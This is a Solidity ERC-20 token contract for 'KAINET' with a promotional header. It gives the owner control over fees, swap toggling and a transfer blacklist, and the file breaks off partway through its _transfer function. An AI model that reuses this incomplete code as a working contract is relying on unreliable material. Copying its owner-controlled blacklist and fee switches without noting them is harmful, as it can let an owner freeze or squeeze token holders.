/**
KAINET is an award-winning DeFi ecosystem of utility tools and a first-of-its-kind play-to-earn RPG game, all powered by the KAINET token.
Backed by an established team of developers, crypto experts and most importantly a growing community, KAINET is revolutionizing the metaverse.
KAINET was voted by the Crypto Expo Dubai jury as the Best Metaverse Project.

Telegram: https://t.me/kainet_official
Twitter: https://twitter.com/kainet_official
Facebook: https://www.facebook.com/groups/kainet
Land Of Kai (Game): https://www.kainet.world/land
Instagram: https://www.instagram.com/kainettoken/
*/


// SPDX-License-Identifier: MIT                                                                              
                                                            
        pragma solidity 0.8.9;

        abstract contract Context {
            function _msgSender() internal view virtual returns (address) {
                return msg.sender;
            }

            function _msgData() internal view virtual returns (bytes calldata) {
                this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
                return msg.data;
            }
        }

        interface IUniswapV2Pair {
            event Approval(address indexed owner, address indexed spender, uint value);
            event Transfer(address indexed from, address indexed to, uint value);

            function name() external pure returns (string memory);
            function symbol() external pure returns (string memory);
            function decimals() external pure returns (uint8);
            function totalSupply() external view returns (uint);
            function balanceOf(address owner) external view returns (uint);
            function allowance(address owner, address spender) external view returns (uint);

            function approve(address spender, uint value) external returns (bool);
            function transfer(address to, uint value) external returns (bool);
            function transferFrom(address from, address to, uint value) external returns (bool);

            function DOMAIN_SEPARATOR() external view returns (bytes32);
            function PERMIT_TYPEHASH() external pure returns (bytes32);
            function nonces(address owner) external view returns (uint);

            function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

            event Mint(address indexed sender, uint amount0, uint amount1);
            event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
            event Swap(
                address indexed sender,
                uint amount0In,
                uint amount1In,
                uint amount0Out,
                uint amount1Out,
                address indexed to
            );
            event Sync(uint112 reserve0, uint112 reserve1);

            function MINIMUM_LIQUIDITY() external pure returns (uint);
            function factory() external view returns (address);
            function token0() external view returns (address);
            function token1() external view returns (address);
            function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
            function price0CumulativeLast() external view returns (uint);
            function price1CumulativeLast() external view returns (uint);
            function kLast() external view returns (uint);

            function mint(address to) external returns (uint liquidity);
            function burn(address to) external returns (uint amount0, uint amount1);
            function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
            function skim(address to) external;
            function sync() external;

            function initialize(address, address) external;
        }

        interface IUniswapV2Factory {
            event PairCreated(address indexed token0, address indexed token1, address pair, uint);

            function feeTo() external view returns (address);
            function feeToSetter() external view returns (address);

            function getPair(address tokenA, address tokenB) external view returns (address pair);
            function allPairs(uint) external view returns (address pair);
            function allPairsLength() external view returns (uint);

            function createPair(address tokenA, address tokenB) external returns (address pair);

            function setFeeTo(address) external;
            function setFeeToSetter(address) external;
        }

        interface IERC20 {
            /**
            * @dev Returns the amount of tokens in existence.
            */
            function totalSupply() external view returns (uint256);

            /**
            * @dev Returns the amount of tokens owned by `account`.
            */
            function balanceOf(address account) external view returns (uint256);

            /**
            * @dev Moves `amount` tokens from the caller's account to `recipient`.
            *
            * Returns a boolean value indicating whether the operation succeeded.
            *
            * Emits a {Transfer} event.
            */
            function transfer(address recipient, uint256 amount) external returns (bool);

            /**
            * @dev Returns the remaining number of tokens that `spender` will be
            * allowed to spend on behalf of `owner` through {transferFrom}. This is
            * zero by default.
            *
            * This value changes when {approve} or {transferFrom} are called.
            */
            function allowance(address owner, address spender) external view returns (uint256);

            /**
            * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
            *
            * Returns a boolean value indicating whether the operation succeeded.
            *
            * IMPORTANT: Beware that changing an allowance with this method brings the risk
            * that someone may use both the old and the new allowance by unfortunate
            * transaction ordering. One possible solution to mitigate this race
            * condition is to first reduce the spender's allowance to 0 and set the
            * desired value afterwards:
            * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
            *
            * Emits an {Approval} event.
            */
            function approve(address spender, uint256 amount) external returns (bool);

            /**
            * @dev Moves `amount` tokens from `sender` to `recipient` using the
            * allowance mechanism. `amount` is then deducted from the caller's
            * allowance.
            *
            * Returns a boolean value indicating whether the operation succeeded.
            *
            * Emits a {Transfer} event.
            */
            function transferFrom(
                address sender,
                address recipient,
                uint256 amount
            ) external returns (bool);

            /**
            * @dev Emitted when `value` tokens are moved from one account (`from`) to
            * another (`to`).
            *
            * Note that `value` may be zero.
            */
            event Transfer(address indexed from, address indexed to, uint256 value);

            /**
            * @dev Emitted when the allowance of a `spender` for an `owner` is set by
            * a call to {approve}. `value` is the new allowance.
            */
            event Approval(address indexed owner, address indexed spender, uint256 value);
        }

        interface IERC20Metadata is IERC20 {
            /**
            * @dev Returns the name of the token.
            */
            function name() external view returns (string memory);

            /**
            * @dev Returns the symbol of the token.
            */
            function symbol() external view returns (string memory);

            /**
            * @dev Returns the decimals places of the token.
            */
            function decimals() external view returns (uint8);
        }


        contract ERC20 is Context, IERC20, IERC20Metadata {
            using SafeMath for uint256;

            mapping(address => uint256) private _balances;

            mapping(address => mapping(address => uint256)) private _allowances;

            uint256 private _totalSupply;

            string private _name;
            string private _symbol;

            /**
            * @dev Sets the values for {name} and {symbol}.
            *
            * The default value of {decimals} is 9. To select a different value for
            * {decimals} you should overload it.
            *
            * All two of these values are immutable: they can only be set once during
            * construction.
            */
            constructor(string memory name_, string memory symbol_) {
                _name = name_;
                _symbol = symbol_;
            }

            /**
            * @dev Returns the name of the token.
            */
            function name() public view virtual override returns (string memory) {
                return _name;
            }

            /**
            * @dev Returns the symbol of the token, usually a shorter version of the
            * name.
            */
            function symbol() public view virtual override returns (string memory) {
                return _symbol;
            }

            /**
            * @dev Returns the number of decimals used to get its user representation.
            * For example, if `decimals` equals `2`, a balance of `505` tokens should
            * be displayed to a user as `5,05` (`505 / 10 ** 2`).
            *
            * Tokens usually opt for a value of 9, imitating the relationship between
            * Ether and Wei. This is the value {ERC20} uses, unless this function is
            * overridden;
            *
            * NOTE: This information is only used for _display_ purposes: it in
            * no way affects any of the arithmetic of the contract, including
            * {IERC20-balanceOf} and {IERC20-transfer}.
            */
            function decimals() public view virtual override returns (uint8) {
                return 9;
            }

            /**
            * @dev See {IERC20-totalSupply}.
            */
            function totalSupply() public view virtual override returns (uint256) {
                return _totalSupply;
            }

            /**
            * @dev See {IERC20-balanceOf}.
            */
            function balanceOf(address account) public view virtual override returns (uint256) {
                return _balances[account];
            }

            /**
            * @dev See {IERC20-transfer}.
            *
            * Requirements:
            *
            * - `recipient` cannot be the zero address.
            * - the caller must have a balance of at least `amount`.
            */
            function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
                _transfer(_msgSender(), recipient, amount);
                return true;
            }

            /**
            * @dev See {IERC20-allowance}.
            */
            function allowance(address owner, address spender) public view virtual override returns (uint256) {
                return _allowances[owner][spender];
            }

            /**
            * @dev See {IERC20-approve}.
            *
            * Requirements:
            *
            * - `spender` cannot be the zero address.
            */
            function approve(address spender, uint256 amount) public virtual override returns (bool) {
                _approve(_msgSender(), spender, amount);
                return true;
            }

            /**
            * @dev See {IERC20-transferFrom}.
            *
            * Emits an {Approval} event indicating the updated allowance. This is not
            * required by the EIP. See the note at the beginning of {ERC20}.
            *
            * Requirements:
            *
            * - `sender` and `recipient` cannot be the zero address.
            * - `sender` must have a balance of at least `amount`.
            * - the caller must have allowance for ``sender``'s tokens of at least
            * `amount`.
            */
            function transferFrom(
                address sender,
                address recipient,
                uint256 amount
            ) public virtual override returns (bool) {
                _transfer(sender, recipient, amount);
                _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
                return true;
            }

            /**
            * @dev Atomically increases the allowance granted to `spender` by the caller.
            *
            * This is an alternative to {approve} that can be used as a mitigation for
            * problems described in {IERC20-approve}.
            *
            * Emits an {Approval} event indicating the updated allowance.
            *
            * Requirements:
            *
            * - `spender` cannot be the zero address.
            */
            function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
                _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
                return true;
            }

            /**
            * @dev Atomically decreases the allowance granted to `spender` by the caller.
            *
            * This is an alternative to {approve} that can be used as a mitigation for
            * problems described in {IERC20-approve}.
            *
            * Emits an {Approval} event indicating the updated allowance.
            *
            * Requirements:
            *
            * - `spender` cannot be the zero address.
            * - `spender` must have allowance for the caller of at least
            * `subtractedValue`.
            */
            function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
                _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
                return true;
            }

            /**
            * @dev Moves tokens `amount` from `sender` to `recipient`.
            *
            * This is internal function is equivalent to {transfer}, and can be used to
            * e.g. implement automatic token fees, slashing mechanisms, etc.
            *
            * Emits a {Transfer} event.
            *
            * Requirements:
            *
            * - `sender` cannot be the zero address.
            * - `recipient` cannot be the zero address.
            * - `sender` must have a balance of at least `amount`.
            */
            function _transfer(
                address sender,
                address recipient,
                uint256 amount
            ) internal virtual {
                
                require(sender != address(0), "ERC20: transfer from the zero address");
                require(recipient != address(0), "ERC20: transfer to the zero address");

                _beforeTokenTransfer(sender, recipient, amount);

                _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
                _balances[recipient] = _balances[recipient].add(amount);
                emit Transfer(sender, recipient, amount);
            }

            /** @dev Creates `amount` tokens and assigns them to `account`, increasing
            * the total supply.
            *
            * Emits a {Transfer} event with `from` set to the zero address.
            *
            * Requirements:
            *
            * - `account` cannot be the zero address.
            */
            function _mint(address account, uint256 amount) internal virtual {
                require(account != address(0), "ERC20: mint to the zero address");

                _beforeTokenTransfer(address(0), account, amount);

                _totalSupply = _totalSupply.add(amount);
                _balances[account] = _balances[account].add(amount);
                emit Transfer(address(0), account, amount);
            }

            /**
            * @dev Destroys `amount` tokens from `account`, reducing the
            * total supply.
            *
            * Emits a {Transfer} event with `to` set to the zero address.
            *
            * Requirements:
            *
            * - `account` cannot be the zero address.
            * - `account` must have at least `amount` tokens.
            */
            function _burn(address account, uint256 amount) internal virtual {
                require(account != address(0), "ERC20: burn from the zero address");

                _beforeTokenTransfer(account, address(0), amount);

                _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
                _totalSupply = _totalSupply.sub(amount);
                emit Transfer(account, address(0), amount);
            }

            /**
            * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
            *
            * This internal function is equivalent to `approve`, and can be used to
            * e.g. set automatic allowances for certain subsystems, etc.
            *
            * Emits an {Approval} event.
            *
            * Requirements:
            *
            * - `owner` cannot be the zero address.
            * - `spender` cannot be the zero address.
            */
            function _approve(
                address owner,
                address spender,
                uint256 amount
            ) internal virtual {
                require(owner != address(0), "ERC20: approve from the zero address");
                require(spender != address(0), "ERC20: approve to the zero address");

                _allowances[owner][spender] = amount;
                emit Approval(owner, spender, amount);
            }

            /**
            * @dev Hook that is called before any transfer of tokens. This includes
            * minting and burning.
            *
            * Calling conditions:
            *
            * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
            * will be to transferred to `to`.
            * - when `from` is zero, `amount` tokens will be minted for `to`.
            * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
            * - `from` and `to` are never both zero.
            *
            * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
            */
            function _beforeTokenTransfer(
                address from,
                address to,
                uint256 amount
            ) internal virtual {}
        }

        library SafeMath {
            /**
            * @dev Returns the addition of two unsigned integers, reverting on
            * overflow.
            *
            * Counterpart to Solidity's `+` operator.
            *
            * Requirements:
            *
            * - Addition cannot overflow.
            */
            function add(uint256 a, uint256 b) internal pure returns (uint256) {
                uint256 c = a + b;
                require(c >= a, "SafeMath: addition overflow");

                return c;
            }

            /**
            * @dev Returns the subtraction of two unsigned integers, reverting on
            * overflow (when the result is negative).
            *
            * Counterpart to Solidity's `-` operator.
            *
            * Requirements:
            *
            * - Subtraction cannot overflow.
            */
            function sub(uint256 a, uint256 b) internal pure returns (uint256) {
                return sub(a, b, "SafeMath: subtraction overflow");
            }

            /**
            * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
            * overflow (when the result is negative).
            *
            * Counterpart to Solidity's `-` operator.
            *
            * Requirements:
            *
            * - Subtraction cannot overflow.
            */
            function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
                require(b <= a, errorMessage);
                uint256 c = a - b;

                return c;
            }

            /**
            * @dev Returns the multiplication of two unsigned integers, reverting on
            * overflow.
            *
            * Counterpart to Solidity's `*` operator.
            *
            * Requirements:
            *
            * - Multiplication cannot overflow.
            */
            function mul(uint256 a, uint256 b) internal pure returns (uint256) {
                // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
                // benefit is lost if 'b' is also tested.
                // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
                if (a == 0) {
                    return 0;
                }

                uint256 c = a * b;
                require(c / a == b, "SafeMath: multiplication overflow");

                return c;
            }

            /**
            * @dev Returns the integer division of two unsigned integers. Reverts on
            * division by zero. The result is rounded towards zero.
            *
            * Counterpart to Solidity's `/` operator. Note: this function uses a
            * `revert` opcode (which leaves remaining gas untouched) while Solidity
            * uses an invalid opcode to revert (consuming all remaining gas).
            *
            * Requirements:
            *
            * - The divisor cannot be zero.
            */
            function div(uint256 a, uint256 b) internal pure returns (uint256) {
                return div(a, b, "SafeMath: division by zero");
            }

            /**
            * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
            * division by zero. The result is rounded towards zero.
            *
            * Counterpart to Solidity's `/` operator. Note: this function uses a
            * `revert` opcode (which leaves remaining gas untouched) while Solidity
            * uses an invalid opcode to revert (consuming all remaining gas).
            *
            * Requirements:
            *
            * - The divisor cannot be zero.
            */
            function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
                require(b > 0, errorMessage);
                uint256 c = a / b;
                // assert(a == b * c + a % b); // There is no case in which this doesn't hold

                return c;
            }

            /**
            * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
            * Reverts when dividing by zero.
            *
            * Counterpart to Solidity's `%` operator. This function uses a `revert`
            * opcode (which leaves remaining gas untouched) while Solidity uses an
            * invalid opcode to revert (consuming all remaining gas).
            *
            * Requirements:
            *
            * - The divisor cannot be zero.
            */
            function mod(uint256 a, uint256 b) internal pure returns (uint256) {
                return mod(a, b, "SafeMath: modulo by zero");
            }

            /**
            * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
            * Reverts with custom message when dividing by zero.
            *
            * Counterpart to Solidity's `%` operator. This function uses a `revert`
            * opcode (which leaves remaining gas untouched) while Solidity uses an
            * invalid opcode to revert (consuming all remaining gas).
            *
            * Requirements:
            *
            * - The divisor cannot be zero.
            */
            function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
                require(b != 0, errorMessage);
                return a % b;
            }
        }

        contract Ownable is Context {
            address private _owner;

            event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
            
            /**
            * @dev Initializes the contract setting the deployer as the initial owner.
            */
            constructor () {
                address msgSender = _msgSender();
                _owner = msgSender;
                emit OwnershipTransferred(address(0), msgSender);
            }

            /**
            * @dev Returns the address of the current owner.
            */
            function owner() public view returns (address) {
                return _owner;
            }

            /**
            * @dev Throws if called by any account other than the owner.
            */
            modifier onlyOwner() {
                require(_owner == _msgSender(), "Ownable: caller is not the owner");
                _;
            }

            /**
            * @dev Leaves the contract without owner. It will not be possible to call
            * `onlyOwner` functions anymore. Can only be called by the current owner.
            *
            * NOTE: Renouncing ownership will leave the contract without an owner,
            * thereby removing any functionality that is only available to the owner.
            */
            function renounceOwnership() public virtual onlyOwner {
                emit OwnershipTransferred(_owner, address(0));
                _owner = address(0);
            }

            /**
            * @dev Transfers ownership of the contract to a new account (`newOwner`).
            * Can only be called by the current owner.
            */
            function transferOwnership(address newOwner) public virtual onlyOwner {
                require(newOwner != address(0), "Ownable: new owner is the zero address");
                emit OwnershipTransferred(_owner, newOwner);
                _owner = newOwner;
            }
        }

        library SafeMathInt {
            int256 private constant MIN_INT256 = int256(1) << 255;
            int256 private constant MAX_INT256 = ~(int256(1) << 255);

            /**
            * @dev Multiplies two int256 variables and fails on overflow.
            */
            function mul(int256 a, int256 b) internal pure returns (int256) {
                int256 c = a * b;

                // Detect overflow when multiplying MIN_INT256 with -1
                require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
                require((b == 0) || (c / b == a));
                return c;
            }

            /**
            * @dev Division of two int256 variables and fails on overflow.
            */
            function div(int256 a, int256 b) internal pure returns (int256) {
                // Prevent overflow when dividing MIN_INT256 by -1
                require(b != -1 || a != MIN_INT256);

                // Solidity already throws when dividing by 0.
                return a / b;
            }

            /**
            * @dev Subtracts two int256 variables and fails on overflow.
            */
            function sub(int256 a, int256 b) internal pure returns (int256) {
                int256 c = a - b;
                require((b >= 0 && c <= a) || (b < 0 && c > a));
                return c;
            }

            /**
            * @dev Adds two int256 variables and fails on overflow.
            */
            function add(int256 a, int256 b) internal pure returns (int256) {
                int256 c = a + b;
                require((b >= 0 && c >= a) || (b < 0 && c < a));
                return c;
            }

            /**
            * @dev Converts to absolute value, and fails on overflow.
            */
            function abs(int256 a) internal pure returns (int256) {
                require(a != MIN_INT256);
                return a < 0 ? -a : a;
            }


            function toUint256Safe(int256 a) internal pure returns (uint256) {
                require(a >= 0);
                return uint256(a);
            }
        }

        library SafeMathUint {
        function toInt256Safe(uint256 a) internal pure returns (int256) {
            int256 b = int256(a);
            require(b >= 0);
            return b;
        }
        }


        interface IUniswapV2Router01 {
            function factory() external pure returns (address);
            function WETH() external pure returns (address);

            function addLiquidity(
                address tokenA,
                address tokenB,
                uint amountADesired,
                uint amountBDesired,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline
            ) external returns (uint amountA, uint amountB, uint liquidity);
            function addLiquidityETH(
                address token,
                uint amountTokenDesired,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
            function removeLiquidity(
                address tokenA,
                address tokenB,
                uint liquidity,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline
            ) external returns (uint amountA, uint amountB);
            function removeLiquidityETH(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external returns (uint amountToken, uint amountETH);
            function removeLiquidityWithPermit(
                address tokenA,
                address tokenB,
                uint liquidity,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountA, uint amountB);
            function removeLiquidityETHWithPermit(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountToken, uint amountETH);
            function swapExactTokensForTokens(
                uint amountIn,
                uint amountOutMin,
                address[] calldata path,
                address to,
                uint deadline
            ) external returns (uint[] memory amounts);
            function swapTokensForExactTokens(
                uint amountOut,
                uint amountInMax,
                address[] calldata path,
                address to,
                uint deadline
            ) external returns (uint[] memory amounts);
            function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
                external
                payable
                returns (uint[] memory amounts);
            function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
                external
                returns (uint[] memory amounts);
            function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
                external
                returns (uint[] memory amounts);
            function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
                external
                payable
                returns (uint[] memory amounts);

            function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
            function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
            function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
            function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
            function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
        }

        interface IUniswapV2Router02 is IUniswapV2Router01 {
            function removeLiquidityETHSupportingFeeOnTransferTokens(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external returns (uint amountETH);
            function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountETH);

            function swapExactTokensForTokensSupportingFeeOnTransferTokens(
                uint amountIn,
                uint amountOutMin,
                address[] calldata path,
                address to,
                uint deadline
            ) external;
            function swapExactETHForTokensSupportingFeeOnTransferTokens(
                uint amountOutMin,
                address[] calldata path,
                address to,
                uint deadline
            ) external payable;
            function swapExactTokensForETHSupportingFeeOnTransferTokens(
                uint amountIn,
                uint amountOutMin,
                address[] calldata path,
                address to,
                uint deadline
            ) external;
        }

        contract KAINET is ERC20, Ownable {
            using SafeMath for uint256;

            IUniswapV2Router02 public immutable uniswapV2Router;
            address public immutable uniswapV2Pair;
            address public constant deadAddress = address(0xdead);

            bool private swapping;

            address public marketingWallet;
            address public devWallet;
            
            uint256 public maxTransactionAmount;
            uint256 public swapTokensAtAmount;
            uint256 public maxWallet;
            
            uint256 public LimitMinBalanceAmount; //at least token 
            uint256 public MaxWalletValue;
            uint256 public percentForLPBurn = 25; // 25 = .25%
            bool public lpBurnEnabled = true;
            uint256 public lpBurnFrequency = 3600 seconds;
            uint256 public lastLpBurnTime;
            
            uint256 public manualBurnFrequency = 30 minutes;
            uint256 public lastManualLpBurnTime;

            bool public limitsInEffect = true;
            bool public tradingActive = false;
            bool public swapEnabled = false;
            mapping(address => bool) public BlackList;
            // Anti-bot and anti-whale mappings and variables
            mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
            bool public transferDelayEnabled = true;

            uint256 public buyTotalFees;
           // uint256 public buytax;
            uint256 public buyMarketingFee;
            uint256 public buyLiquidityFee;
            uint256 public buyDevFee;
            
            uint256 public sellTotalFees;
            //uint256 public selltax;
            uint256 public sellMarketingFee;
            uint256 public sellLiquidityFee;
            uint256 public sellDevFee;
            
            uint256 public tokensForMarketing;
            uint256 public tokensForLiquidity;
            uint256 public tokensForDev;
            
            uint256 public TaxFeeAmount=5;
            uint256  constant MAX = ~uint256(0);
            uint256 public _rTotal;
            uint256 public tTotal;
            uint256 public _tFeeTal;
            
            address[] public _exclud;
            mapping (address => uint256) private _rOwned;
            mapping (address => uint256) private _tOwned;
           // uint256 private constant MAX = ~uint256(0);
           // uint256 public totalSupply = .0006 * 1e12 * 1e9;
            //uint256 private _rTotal = (MAX - (MAX % totalSupply));
            /******************/

            // exlcude from fees and max transaction amount
            mapping (address => bool) private _isExcludedFromFees;
            mapping (address => bool) public _isExcludedMaxTransactionAmount;

            // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
            // could be subject to a maximum transfer amount
            mapping (address => bool) public automatedMarketMakerPairs;
            

            event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);

            event ExcludeFromFees(address indexed account, bool isExcluded);

            event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

            event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
            
            event devWalletUpdated(address indexed newWallet, address indexed oldWallet);

            event SwapAndLiquify(
                uint256 tokensSwapped,
                uint256 ethReceived,
                uint256 tokensIntoLiquidity
            );
            modifier isNotBlocked(address account){
                require(!BlackList[account], "This address: BlackList");
                _;
            }
            event AutoNukeLP();
            
            event ManualNukeLP();

            constructor() ERC20("KAINET", "KAINET") {
                
                IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
                
                excludeFromMaxTransaction(address(_uniswapV2Router), true);
                uniswapV2Router = _uniswapV2Router;
                
                uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
                excludeFromMaxTransaction(address(uniswapV2Pair), true);
                _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
                
                uint256 _buyMarketingFee = 0;
                uint256 _buyLiquidityFee = 1;
                uint256 _buyDevFee = 0;

                uint256 _sellMarketingFee = 3;
                uint256 _sellLiquidityFee = 0;
                uint256 _sellDevFee = 0;
                
                
                //tTotal = .0006 * 1e12 * 1e9;
                tTotal = 1000000000 * 1e9;
                 _rTotal = (MAX - (MAX % tTotal));
                
                maxTransactionAmount = tTotal * 20 / 1000; // 2% maxTransactionAmountTxn
                maxWallet = tTotal * 40/ 1000; // 4% maxWallet
                swapTokensAtAmount = tTotal * 5 / 10000; // 0.05% swap wallet

                buyMarketingFee = _buyMarketingFee;
                buyLiquidityFee = _buyLiquidityFee;
                buyDevFee = _buyDevFee;
                buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
                
                sellMarketingFee = _sellMarketingFee;
                sellLiquidityFee = _sellLiquidityFee;
                sellDevFee = _sellDevFee;
                sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
                
                marketingWallet = address(owner()); // set as marketing wallet
                devWallet = address(owner()); // set as dev wallet

                // exclude from paying fees or having max transaction amount
                excludeFromFees(owner(), true);
                excludeFromFees(address(this), true);
                excludeFromFees(address(0xdead), true);
                
                excludeFromMaxTransaction(owner(), true);
                excludeFromMaxTransaction(address(this), true);
                excludeFromMaxTransaction(address(0xdead), true);
                
                /*
                    _mint is an internal function in ERC20.sol that is only called here,
                    and CANNOT be called ever again
                */
                _mint(msg.sender, tTotal);
            }

            receive() external payable {

            }

            // once enabled, can never be turned off
            function enableTrading() external onlyOwner {
                tradingActive = true;
                swapEnabled = true;
                lastLpBurnTime = block.timestamp;
            }
            
            // remove limits after token is stable
            function removeLimits() external onlyOwner returns (bool){
                limitsInEffect = false;
                return true;
            }
            
            // disable Transfer delay - cannot be reenabled
            function disableTransferDelay() external onlyOwner returns (bool){
                transferDelayEnabled = false;
                return true;
            }
            
            // change the minimum amount of tokens to sell from fees
            function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
                require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
                require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
                swapTokensAtAmount = newAmount;
                return true;
            }
            
            function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
                require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
                maxTransactionAmount = newNum * (10**9);
            }

            function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
                require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
                maxWallet = newNum * (10**9);
            }
            
            function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
                _isExcludedMaxTransactionAmount[updAds] = isEx;
            }
            
            // only use to disable contract sales if absolutely necessary (emergency use only)
            function updateSwapEnabled(bool enabled) external onlyOwner(){
                swapEnabled = enabled;
            }
            
            function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
                buyMarketingFee = _marketingFee;
                buyLiquidityFee = _liquidityFee;
                buyDevFee = _devFee;
                buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
                require(buyTotalFees <= 20, "Must keep fees at 20% or less");
            }
            
            function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
                sellMarketingFee = _marketingFee;
                sellLiquidityFee = _liquidityFee;
                sellDevFee = _devFee;
                sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
                require(sellTotalFees <= 25, "Must keep fees at 25% or less");
            }

            function excludeFromFees(address account, bool excluded) public onlyOwner {
                _isExcludedFromFees[account] = excluded;
                emit ExcludeFromFees(account, excluded);
            }

            function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
                require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

                _setAutomatedMarketMakerPair(pair, value);
            }

            function _setAutomatedMarketMakerPair(address pair, bool value) private {
                automatedMarketMakerPairs[pair] = value;

                emit SetAutomatedMarketMakerPair(pair, value);
            }

            function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
                emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
                marketingWallet = newMarketingWallet;
            }
            
            function updateDevWallet(address newWallet) external onlyOwner {
                emit devWalletUpdated(newWallet, devWallet);
                devWallet = newWallet;
            }
            

            function isExcludedFromFees(address account) public view returns(bool) {
                return _isExcludedFromFees[account];
            }
            
            event BoughtEarly(address indexed sniper);

            function _transfer(
                address from,
                address to,
                uint256 amount
            ) internal override {
                require(!BlackList[from], "ERC20: sender is in blacklist");
                require(!BlackList[to], "ERC20: recipient is in blacklist");

                require(from != address(0), "ERC20: transfer from the zero address");
                require(to != address(0), "ERC20: transfer to the zero address");
                
                if(amount == 0) {
                    super._transfer(from, to, 0);
                    return;
                }
                
                if(limitsInEffect){
                    if (
                        from != owner() &&
                        to != owner() &&
                        to != address(0) &&
                        to != address(0xdead) &&
                        !swapping
                    ){
                        if(!tradingActive){
                            require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                        }

                        // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                        if (transferDelayEnabled){
                            if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                                require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
